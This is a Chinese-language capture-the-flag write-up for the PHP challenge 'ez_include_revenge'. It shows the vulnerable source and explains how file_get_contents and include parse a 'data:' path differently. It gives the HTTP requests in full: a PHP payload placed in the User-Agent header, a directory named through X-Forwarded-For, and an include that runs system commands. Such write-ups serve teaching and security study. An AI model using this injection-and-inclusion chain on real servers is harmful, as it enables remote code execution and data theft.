ez_include_revenge:文件包含的绕道
ez_include_revenge(玄武杯2025)
<?php
stream_wrapper_unregister('php');
if(!isset($_GET['no_hl'])) highlight_file(__FILE__);
$mkdir = function($dir) {
system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);
$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));
$mkdir($userFolder);
chdir($userFolder);
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');
$_GET['page']=str_replace('.','',$_GET['page']);
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
if (preg_match('/f.*l.*a.*g/i', $_GET['page'])) {
echo "这次不会让你得逞了!";
}else{
include($_GET['page']);
}
}else{
echo "再想想?";
}
chdir(__DIR__);
system('rm -rf users/'.$randFolder);
?>
核心漏洞:协议解析差异
file_get_contents vs include 对data协议的不同处理:
| 函数 | 支持格式 | 对data:,a/profile的处理 |
|---|---|---|
file_get_contents |
RFC 2397格式 | 解析为data URI,返回内容"a/profile" |
include |
严格的protocol://格式 |
无法识别,回退到文件系统查找 |
利用链
- 控制目录名 → 通过
X-Forwarded-For头 - 注入恶意代码 → 通过
User-Agent头 - 绕过安全检查 → 利用协议解析差异
- 执行代码 → include加载实际文件
攻击步骤
第一步:创建恶意文件
GET / HTTP/1.1
Host: target
X-Forwarded-For: data:,a
User-Agent: <?php system('cat /flag');?>
- 创建目录:
users/[随机]/data:,a/ - 写入文件:
profile包含恶意PHP代码
第二步:触发文件包含
GET /?page=data:,a/profile HTTP/1.1
Host: target
X-Forwarded-For: data:,a
第三步:绕过机制
- 检查阶段:
file_get_contents('data:,a/profile')→ 返回"a/profile"(无害) - 执行阶段:
include('data:,a/profile')→ 加载./data:,a/profile文件(含恶意代码)
关键技术点
1. 目录名控制
$userFolder = str_replace(['.','-'], ['',''], $_SERVER['HTTP_X_FORWARDED_FOR']);
- 过滤后
data:,a保持不变 - Linux允许目录名包含逗号、冒号
2. 内容注入
file_put_contents('profile', print_r($_SERVER, true));
$_SERVER包含所有HTTP头User-Agent等头可控,可注入PHP代码
3. 路径解析差异
file_get_contents:支持宽松的data URI格式include:需要严格的data://格式,否则回退文件系统